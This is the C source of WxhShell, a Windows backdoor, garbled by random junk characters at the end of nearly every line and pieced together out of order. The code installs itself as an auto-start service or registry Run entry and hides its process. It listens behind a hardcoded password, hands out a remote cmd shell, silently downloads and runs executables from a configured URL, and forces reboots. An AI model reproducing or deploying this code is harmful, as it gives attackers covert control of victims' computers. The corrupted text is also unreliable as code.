    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,g"JgX  
    else { 2dJE` XL  
    closesocket(wsh); \fI05GZ  
    ExitThread(0); *L*{FnsV  
    } })(robBkA  
    break; !-%%94Q  
    } *nHMQ/uf  
  // 获取shell FoZI0p?L)9  
  case 's': { |lzcyz  
    CmdShell(wsh); N,VI55J:y>  
    closesocket(wsh); En&gI`3n  
    ExitThread(0); x=x%F;  
    break; +s`cXTlFrk  
  } T4ugG?B*  
  // 退出 c3PA<q[  
  case 'x': { <)sL8G9Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *(]ZdB_2  
    CloseIt(wsh); `}$bJCSF.n  
    break; oGg<s3;UND  
    } ]E DC s?,  
  // 离开 L 9cXgd  
  case 'q': { mC0Dj O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i$6a0'@U  
    closesocket(wsh); P&tw!B  
    WSACleanup(); *a{WJbau]  
    exit(1); tBl (E  
    break; ^x^(Rk}|  
        } l)jP!k   
  } f$dIPt(  
  } #a tL2(wJ  
Q4]O d{[  
  // 提示信息 N$:-q'hX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); akCCpnX_d  
} swJQwY   
  } Y;g\ @j  
=kK%,Mr  
  return; '`W6U]7>  
} dShGIH?  
D,=#SBJ:Z  
// shell模块句柄 UFj!7gX]  
int CmdShell(SOCKET sock) ;AL:V U  
{ @g" vuaG}  
STARTUPINFO si; {/aHZ<I&^h  
ZeroMemory(&si,sizeof(si)); Vr %ef:uVV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .XkVdaX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4mX?PKvbn  
PROCESS_INFORMATION ProcessInfo; I};*O6D`  
char cmdline[]="cmd"; QJjk#*?,|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "d}ey=$h4  
  return 0; Co=Bq{GY  
} u'DpZ  
8=0I4\  
// 自身启动模式 :LdPqFXj  
int StartFromService(void) c"1Z,M;G  
{ &=:3/;c  
typedef struct ZYt<O  
{ gMPp'^g]_  
  DWORD ExitStatus; Y Ztd IG  
  DWORD PebBaseAddress; M&Ln'BC  
  DWORD AffinityMask; n:1Ijh 1  
  DWORD BasePriority; e VQ-?DK  
  ULONG UniqueProcessId; inK;n  
  ULONG InheritedFromUniqueProcessId; tAY{+N]f  
}   PROCESS_BASIC_INFORMATION; .EH1;/  
I6@"y0I  
PROCNTQSIP NtQueryInformationProcess; |~18MW  
<Kl$ek8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zE/\2F$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8`]yp7ueS  
DpT$19Q+  
  HANDLE             hProcess; i*!2n1c[  
  PROCESS_BASIC_INFORMATION pbi; B/!/2x  
)DlKeiK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fYh<S  
  if(NULL == hInst ) return 0; N&Ho$,2s  
)t\aB_ =  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rQU6*f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %9S0!h\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5)hfI7{d  
=]"I0G-s!  
  if (!NtQueryInformationProcess) return 0; |z:4T%ES  
[9NrPm3d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0 ?gHRdU"  
  if(!hProcess) return 0; L2~'Z'q  
T"gk^.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a1_o  
6Q_A-X3hk  
  CloseHandle(hProcess); ev_'.t'  
Q[|*P ] w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H3ovF  
if(hProcess==NULL) return 0; ;G3?Sa7+  
s2 :Vm\  
HMODULE hMod; x.] tGS  
char procName[255]; 8gt&*;'}*D  
unsigned long cbNeeded;  ~mi4V  
'!,(G3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1v,R<1)&  
y%kZ##  
  CloseHandle(hProcess); . sFN[>)  
IvI..#EzG  
if(strstr(procName,"services")) return 1; // 以服务启动 \/V#,O  
OIjSH~a.  
  return 0; // 注册表启动 6CW5ay_,  
} x',6VTz^  
&`tAQN*Z  
// 主模块 4udj"-V  
int StartWxhshell(LPSTR lpCmdLine) S'hUh'PZ  
{ *yjnC  
  SOCKET wsl; kY{$[+-jR  
BOOL val=TRUE; LNHi }P~  
  int port=0; { w sT  
  struct sockaddr_in door; v'S5F@ln  
b`^Q ':^A  
  if(wscfg.ws_autoins) Install(); :g^ mg-8  
TOS'|xQ  
port=atoi(lpCmdLine); f#w u~*c  
1KBGML-K3  
if(port<=0) port=wscfg.ws_port; S9r+Nsn  
v_WQ<G?  
  WSADATA data; NuD|%Ebs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MxKTKBxQ  
]yZ%wU9!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RgQs`aI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _:p-\Oo.  
  door.sin_family = AF_INET; J.M&Vj:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s;* UP   
  door.sin_port = htons(port); -V[x q  
5/7(>ivn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mw;4/ /R  
closesocket(wsl); 0(:SEiz6s  
return 1; FOMJRq  
} [;sTl~gC  
BOq9\g`5s  
  if(listen(wsl,2) == INVALID_SOCKET) { P?P.QK  
closesocket(wsl); %b4tyX:N0  
return 1; `ZI-1&Y3  
} a_?b <  
  Wxhshell(wsl); R*6B@<p,i  
  WSACleanup(); /wt7KL- I  
\x]\W#C  
return 0;  P Je_qP  
JPng !tvR  
} 8UqH"^9.Q7  
xSSEDfq  
// 以NT服务方式启动 Qr 4 D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bcpsjUiy#  
{ 5I^;v;F  
DWORD   status = 0; `M 'tuQ M  
  DWORD   specificError = 0xfffffff; NRp  
hwJ>IQ1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =y)K er  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x|G :;{"+6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1;V_E2?V  
  serviceStatus.dwWin32ExitCode     = 0; @DY"~c cH  
  serviceStatus.dwServiceSpecificExitCode = 0; QKlsBq  
  serviceStatus.dwCheckPoint       = 0; f86Z #%  
  serviceStatus.dwWaitHint       = 0; >][D"  
cBZEyy&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dIYf}7P  
  if (hServiceStatusHandle==0) return; ih^FH>@  
oZ d3H  
status = GetLastError(); ~ &Ne P  
  if (status!=NO_ERROR) xz.Jmv  
{ m|c [C\)By  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vgD+Y   
    serviceStatus.dwCheckPoint       = 0; GQ7uxdqWBQ  
    serviceStatus.dwWaitHint       = 0; ~?HK,`0h>  
    serviceStatus.dwWin32ExitCode     = status; Y68A+ B.  
    serviceStatus.dwServiceSpecificExitCode = specificError; qIsf!1I?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6L$KMYHE  
    return; 4"(rZWv  
  } Dd pcov  
,p#B5Dif/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,I x>.^|  
  serviceStatus.dwCheckPoint       = 0; /w(g:e  
  serviceStatus.dwWaitHint       = 0; {tY1$}R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kmc"`Ogotw  
} "#E<Leh'  
/W BmR R  
// 处理NT服务事件,比如:启动、停止 QDJ "X  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  QSY>8P  
{ $/ IFSB9  
switch(fdwControl) +,LWyvc'  
{ 4_ U"M@  
case SERVICE_CONTROL_STOP: dgoAaS2M  
  serviceStatus.dwWin32ExitCode = 0; OoH-E.lp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w]{c*4o  
  serviceStatus.dwCheckPoint   = 0; x;z=[eE  
  serviceStatus.dwWaitHint     = 0; *K;) ~@n  
  { s_VcC_A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9*ZlNZ  
  } >$L7J=Em  
  return; igk<]AwxS  
case SERVICE_CONTROL_PAUSE: PE4 L7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A`Y^qXFb`  
  break; d!0rq4v7  
case SERVICE_CONTROL_CONTINUE: .7g h2K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WK(X/!1/k  
  break; UgS`{&b36  
case SERVICE_CONTROL_INTERROGATE: x"NQatdq  
  break; DR}I+<*%aD  
}; _Tor9Tj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nM2<u[{gF  
} ?<C(ga  
(b<0=U   
// 标准应用程序主函数 7)r]h?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~a`[p\  
{ dVEs^ZtI  
eDZ8F^0  
// 获取操作系统版本 \?T9 v  
OsIsNt=GetOsVer(); zHX\h [0f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fw\Z[nh  
0ck3II  
  // 从命令行安装 i:0v6d  
  if(strpbrk(lpCmdLine,"iI")) Install(); {eaR,d~X  
k !0O[U  
  // 下载执行文件 g}D)MlXRq  
if(wscfg.ws_downexe) { nco.j:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hoqZb<:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4i)5=H  
} Jp]?tlT  
K xX[8  
if(!OsIsNt) { yef\Y3X  
// 如果时win9x,隐藏进程并且设置为注册表启动 U,EoCAm>  
HideProc(); 2RX]~}  
StartWxhshell(lpCmdLine); b^ h_`  
} a- rR`  
else @`4T6eL5  
  if(StartFromService()) ^ WO3,  
  // 以服务方式启动 {jB> ]7  
  StartServiceCtrlDispatcher(DispatchTable); e,e(t7c?d  
else 'QT~o-U  
  // 普通方式启动 ?`Yu~a{  
  StartWxhshell(lpCmdLine); .k]`z>uv  
(is',4^b  
return 0; $It mYj.m  
} D0FX"BY7  
3P2{M}WIl  
P|$n   
W4^zKnH  
=========================================== [:cD  
;kk[x8$  
{f #QZS!E  
I$t8Ko._"  
AF{uFna  
<.n,:ir  
" D:U6r^c  
rC^ 5Z  
#include <stdio.h> :kR>wX  
#include <string.h> c#{lXS^  
#include <windows.h> =6Ok4Z  
#include <winsock2.h> H}F UgA;  
#include <winsvc.h> \+R%KA/F  
#include <urlmon.h> :$b` n  
*zrGrk:l  
#pragma comment (lib, "Ws2_32.lib") X+XDfEt:Q  
#pragma comment (lib, "urlmon.lib") -K =.A* }  
\DQu!l@1U  
#define MAX_USER   100 // 最大客户端连接数 < bC'.m  
#define BUF_SOCK   200 // sock buffer .Q!d[vL  
#define KEY_BUFF   255 // 输入 buffer ,^?g\&f(  
qhxMO[f  
#define REBOOT     0   // 重启 hi!A9T3%}M  
#define SHUTDOWN   1   // 关机 ;^xM" {G8  
$C7a #?YF,  
#define DEF_PORT   5000 // 监听端口 +Pl)E5W!=`  
:6nD"5(  
#define REG_LEN     16   // 注册表键长度 qhGz2<}_j  
#define SVC_LEN     80   // NT服务名长度 _HHvL=  
#kM|!U=  
// 从dll定义API MRt"#CO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kJ5z['4?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^^"zjl*^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~-A"j\gi"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UF!qp  
d*d:-f~q  
// wxhshell配置信息 3O2G+G2  
struct WSCFG { rH`\UZ{cc  
  int ws_port;         // 监听端口 @\y{q;  
  char ws_passstr[REG_LEN]; // 口令 O] PM L`  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nz2 VaZ  
  char ws_regname[REG_LEN]; // 注册表键名 47Z3 nl?  
  char ws_svcname[REG_LEN]; // 服务名 (2# Xa,pb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #s~;ss ,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #]jl{K\f#X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $\NqD:fgb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e' l9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  7(+4^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'Eur[~k  
ev;&n@k_I  
}; `#ruZM066  
D;> 7y}\  
// default Wxhshell configuration 'z8FU~oU  
struct WSCFG wscfg={DEF_PORT, t,f ec>.  
    "xuhuanlingzhe", 6AJk6 W^Z  
    1, dBd7#V:}yV  
    "Wxhshell", )ovAGO  
    "Wxhshell", RlL ]p`g  
            "WxhShell Service", l'(FM^8jv  
    "Wrsky Windows CmdShell Service", [y9a.*]u/@  
    "Please Input Your Password: ", ~ZVz sNrx  
  1, (BLxK)0<"  
  "http://www.wrsky.com/wxhshell.exe", vd lss|  
  "Wxhshell.exe" DSwb8q  
    }; X=whZ\EZ  
AE7 7i,Xa  
// 消息定义模块 _l7_!Il_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `Jc/ o=]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?2&= +QaT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dHIk3j-!  
char *msg_ws_ext="\n\rExit."; Q)0KYKD+@  
char *msg_ws_end="\n\rQuit."; Qz[^J  
char *msg_ws_boot="\n\rReboot..."; e El)wZ,A  
char *msg_ws_poff="\n\rShutdown..."; $,~Ily7w  
char *msg_ws_down="\n\rSave to "; ;-VZVp}Y  
r"2lcNE  
char *msg_ws_err="\n\rErr!"; .m]}Ba}J$  
char *msg_ws_ok="\n\rOK!"; pZ>yBY?R8>  
[o<hQ`&  
char ExeFile[MAX_PATH]; v>wN O  
int nUser = 0; %!nI]|  
HANDLE handles[MAX_USER];  !vf:mMo  
int OsIsNt; 8+[Vo_]  
PN93.G(W  
SERVICE_STATUS       serviceStatus; vQ*[tp#qU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0fewMS*  
FJZ'P;3  
// 函数声明 i1uoYb?4(I  
int Install(void); ni2#20L  
int Uninstall(void); :+/8n+@#  
int DownloadFile(char *sURL, SOCKET wsh); n!z!fh  
int Boot(int flag); J1}\H$*X  
void HideProc(void); -E?:W`!  
int GetOsVer(void); o^~ZXF}  
int Wxhshell(SOCKET wsl); @[J6JT*E  
void TalkWithClient(void *cs); *,Bm:F<m  
int CmdShell(SOCKET sock); U}jGr=tu  
int StartFromService(void); R0INpF';  
int StartWxhshell(LPSTR lpCmdLine); Z}$sY>E  
|` :cB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gF p3=s0~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {ze69 h  
a5#G48'X  
// 数据结构和表定义 hP+4{F*}-  
SERVICE_TABLE_ENTRY DispatchTable[] = |s! _;6  
{ jM$bWtq2  
{wscfg.ws_svcname, NTServiceMain}, qt@/  
{NULL, NULL} +4%~.,<_to  
}; L-w3A:jk  
lV^#[%  
// 自我安装 ndLEIqOY  
int Install(void)  ,RR{Y-  
{ A6=Z2i0w>X  
  char svExeFile[MAX_PATH]; b y>%}#M  
  HKEY key; Z2M(euzfi3  
  strcpy(svExeFile,ExeFile); +JtKVF  
k";dK*hD,  
// 如果是win9x系统,修改注册表设为自启动 C!^A\T7p  
if(!OsIsNt) { MOQ6&C`7q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P6GTgQ<'BA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ooJxE\L  
  RegCloseKey(key); M^'1Q.K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .9vS4C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >;4q  
  RegCloseKey(key); .5Y{Yme  
  return 0; z]N#.utQ  
    } U*a#{C7"  
  } nKGQU,C  
} m .(ja  
else { s-rc0:I  
}oZ8esZU2  
// 如果是NT以上系统,安装为系统服务 AF#: *<Ev  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /^xv1F{  
if (schSCManager!=0) ZFtR#r(~41  
{ 4N,[Gs<7  
  SC_HANDLE schService = CreateService *Vl#]81~  
  ( KhWy  
  schSCManager, 1TTS@\  
  wscfg.ws_svcname, +1T>Ob;hk  
  wscfg.ws_svcdisp, G K~A,Miqk  
  SERVICE_ALL_ACCESS, LKvX~68  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @LI;q  
  SERVICE_AUTO_START, m[=SCH-;  
  SERVICE_ERROR_NORMAL, W\>O$IX^e  
  svExeFile, 5L c@=,/0  
  NULL, H"/ J R  
  NULL, B7uK:J:c*H  
  NULL, ]z'L1vQl7  
  NULL, :Ob4WU  
  NULL o?}dHTk7  
  ); T@ESMPeU:X  
  if (schService!=0) k4$zM/ob  
  { q+9^rQ  
  CloseServiceHandle(schService); AVjRhe   
  CloseServiceHandle(schSCManager); 9R$$(zB 1;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m~Pk ]~j  
  strcat(svExeFile,wscfg.ws_svcname); ~:JAWs$\V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bji#ID2]%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {oY"CZ2  
  RegCloseKey(key); 7=N%$]DKZ  
  return 0; 4C?{p%3c  
    } PJZ;wqTD_  
  } l\ dPfJ  
  CloseServiceHandle(schSCManager); }K 'A/]'  
} oA5Qk3b:  
} 5 b rM..  
Kc[^Pu  
return 1; OF<:BaRs/  
} GImPPF  
^*l dsc  
// 自我卸载 0E#??gN  
int Uninstall(void) BaIpX<$T  
{ nq?+b >//  
  HKEY key; 75H!i$(*+  
<y?+xZM]#|  
if(!OsIsNt) { ** m8 HD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2j4202  
  RegDeleteValue(key,wscfg.ws_regname); TFb7P/g  
  RegCloseKey(key); ]7<$1ta  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B)7:*Kj  
  RegDeleteValue(key,wscfg.ws_regname); 8WDL.IO  
  RegCloseKey(key); s;P _LaIp)  
  return 0; H%m^8yW1  
  } X$==J St  
} {P?Ge  
} VJ-t #q"  
else { Po=:-Of:  
,9G'1%z,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z#RwgSPw6  
if (schSCManager!=0) MX~h>v3_R4  
{ \ &|xMw[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qWK}  
  if (schService!=0) }2LG9B%  
  { fV4eGIR&  
  if(DeleteService(schService)!=0) { P\ P=1NM  
  CloseServiceHandle(schService); =?Ry,^=b  
  CloseServiceHandle(schSCManager); =55)|$hgD  
  return 0; ])y)]H#{  
  } ^) s6`:  
  CloseServiceHandle(schService); vrmMEWPV  
  } JUw|nUnl?  
  CloseServiceHandle(schSCManager); 0*]0#2Z  
} prO&"t >  
} )Mq4p'*A[  
LT{g^g  
return 1; X_-/j.  
} IrRy1][Qr  
"T /$K  
// 从指定url下载文件 y+BiaD!U  
int DownloadFile(char *sURL, SOCKET wsh) 9*j"@Rm  
{ )X#$G?|Hn  
  HRESULT hr; uq6>K/~D  
char seps[]= "/"; '`}D+IQ(j  
char *token; sifjmNP  
char *file; &56\@t^  
char myURL[MAX_PATH]; fR;[??NH  
char myFILE[MAX_PATH]; :Hitx  
x s6!NY  
strcpy(myURL,sURL); M"c=_5P  
  token=strtok(myURL,seps); lz0dt<8eP  
  while(token!=NULL) 8B6(SQp%  
  { U{EcV%C2  
    file=token; -"Kjn`8  
  token=strtok(NULL,seps); 71(ppsHk  
  } Ld:-S,2  
a$uD oi  
GetCurrentDirectory(MAX_PATH,myFILE); 6G4~-_  
strcat(myFILE, "\\"); W"/,<xHuh  
strcat(myFILE, file); #lFsgb  
  send(wsh,myFILE,strlen(myFILE),0);  1^hG}#6_  
send(wsh,"...",3,0); s;<]gaonB_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q%'4jn?H  
  if(hr==S_OK) F'<XB~ &o  
return 0; 7zQGuGo(  
else l66 QgPA  
return 1; 4t*VI<=<[  
%j0c|u  
} agoMsxI9  
F$v^S+Ch  
// 系统电源模块 cPL6(&7  
int Boot(int flag) l}S96B  
{ sFk{Tv@Yz  
  HANDLE hToken; 'u PI~l`g  
  TOKEN_PRIVILEGES tkp; JvT#Fxjk  
{IB4%,qT  
  if(OsIsNt) { P5XUzLV L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2CtCG8o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %> YRNW@%  
    tkp.PrivilegeCount = 1; &_QD1 TT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sAX4giaLD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]*DIn1C^  
if(flag==REBOOT) { &z\?A2Mw%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $\oe}`#o  
  return 0; &xj,.;  
} 5 a&a-(  
else { r,,*kE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =;8q`  
  return 0; 4tiCxf)  
} V,7Xeh(+5L  
  } kU)E-h  
  else { v~^*L iP+  
if(flag==REBOOT) { *~#`LO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7'{%djL  
  return 0; 3gCP?%R  
} Kv5 !cll5  
else { #B$_ily)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X=Y>9  
  return 0; ]nS9taEA   
} O St~P^1  
} #R= 6$  
g>?,,y6/w  
return 1; (=53WbOh/t  
} cpq0' x\  
]x_14$rk  
// win9x进程隐藏模块 oe_,q&e  
void HideProc(void) Q `h@-6N  
{ 5zJ#d}%}S"  
gepYV}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >y@3`u]  
  if ( hKernel != NULL ) (a|Wq{`[  
  { q={3fm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x5yZ+`Gc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yle~hL  
    FreeLibrary(hKernel); a^L'-(  
  } #Nv0d|0\  
@:u2{>Yl  
return; 5)K?:7  
} =-uk7uZM  
Y,%G5X@S<  
// 获取操作系统版本 #0M,g  
int GetOsVer(void) XR)I,@i`'  
{ KDAZG+u+  
  OSVERSIONINFO winfo; H?pWyc<,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SI l<\  
  GetVersionEx(&winfo); _@]@&^K$E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :e4[isI  
  return 1; g5~1uU$O  
  else ")qO#b4  
  return 0; 75H5{#)  
} 4[LzjC  
L_YY,  
// 客户端句柄模块 'q*/P&x5  
int Wxhshell(SOCKET wsl) Dmk~t="Y  
{ CY8=prC  
  SOCKET wsh; HuL9' M  
  struct sockaddr_in client; L5>.ku=T  
  DWORD myID; ?37Kc,o  
6n.C!,Zmn  
  while(nUser<MAX_USER) ]?2&d[  
{ A!5)$>!o  
  int nSize=sizeof(client); Z}6H529[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }"9jCxXL  
  if(wsh==INVALID_SOCKET) return 1; [hXU$Y>"0  
/&'rQ`nd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H!{Cr#=  
if(handles[nUser]==0) L sMS`o6  
  closesocket(wsh); \ 5^GUT  
else iu.+bX|b  
  nUser++; bX]$S 5c_u  
  } @Nt$B'+S&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #%tN2cFDN  
zFV?,"\r  
  return 0; "^@0zy@x  
} bQ2 '*T  
uYwJ[1 C  
// 关闭 socket A&QO]8  
void CloseIt(SOCKET wsh) 1=%\4\  
{ mH} 1Zy  
closesocket(wsh); VFwp .1oa!  
nUser--; 6tmn1:  
ExitThread(0); z+B"RV  
} <P1sK/IZb  
CVBy&o"6A  
// 客户端请求句柄 +-OqO3R  
void TalkWithClient(void *cs) . B9rG~  
{ wrW768WR  
j"8|U E  
  SOCKET wsh=(SOCKET)cs; 9ozUg,+Z|J  
  char pwd[SVC_LEN]; p2~MJ LK4  
  char cmd[KEY_BUFF]; w;Na9tR  
char chr[1]; 2s@<k1EdPl  
int i,j; ZMXIKN9BF#  
JB= L\E}  
  while (nUser < MAX_USER) { A#j'JA>_  
p1L8g[\  
if(wscfg.ws_passstr) { Gv w:h9v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eu|cQ^>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gaw/3@  
  //ZeroMemory(pwd,KEY_BUFF); }@:vq8%Q  
      i=0; _(s|@UT#  
  while(i<SVC_LEN) { !'^gqaF+  
0X3kVm <  
  // 设置超时 [MKL>\U  
  fd_set FdRead; m[FH>  
  struct timeval TimeOut; Yl#r9TM  
  FD_ZERO(&FdRead); EBN'u&zX  
  FD_SET(wsh,&FdRead); @9^ozgg  
  TimeOut.tv_sec=8; ~vIQ-|8r:  
  TimeOut.tv_usec=0; ^SKuX?f\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HW(cA}$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q<V?rPAcx  
 *w538Vb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P*6B+8h"5g  
  pwd=chr[0]; D?3^>h  
  if(chr[0]==0xd || chr[0]==0xa) { Yvu!Q  
  pwd=0; \j]i"LpWb  
  break; 0x\bDWZ_  
  } gUB%6vG\I  
  i++; -&* 4~  
    } OXuBtW*,z+  
q8{) 27f,  
  // 如果是非法用户,关闭 socket C-abc+/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;X ]+r$_  
} dk9'C  
|A#pG^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @e_ bG@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j\D_Z{m2  
|BGQ|7DyG  
while(1) { !giL~}j(R  
y pv~F  
  ZeroMemory(cmd,KEY_BUFF); OFTyN^([@  
}Zue?!KQ  
      // 自动支持客户端 telnet标准   I=)u:l c  
  j=0; 0[JJ  
  while(j<KEY_BUFF) { p ] V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Az<E3H"  
  cmd[j]=chr[0]; /L8Q[`;.  
  if(chr[0]==0xa || chr[0]==0xd) { *eAsA(;  
  cmd[j]=0; Yp1;5Bbp  
  break; e:E:"elr]  
  } sF$$S/b  
  j++; B6&;nU>;  
    } %EuJ~;x(Mg  
qJb9JL$s  
  // 下载文件 6.| {l8%r  
  if(strstr(cmd,"http://")) { ruG5~dm>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ccld;c&+  
  if(DownloadFile(cmd,wsh)) xn'&TQo0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mX9amS&B$  
  else dMw0Aw,2]8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]kQ*t{\  
  } O9#8%p% )  
  else { [;`B   
TzT(aWP"  
    switch(cmd[0]) { v"VpE`z1#  
  XrY\ot`,D  
  // 帮助 9K`(Ys&  
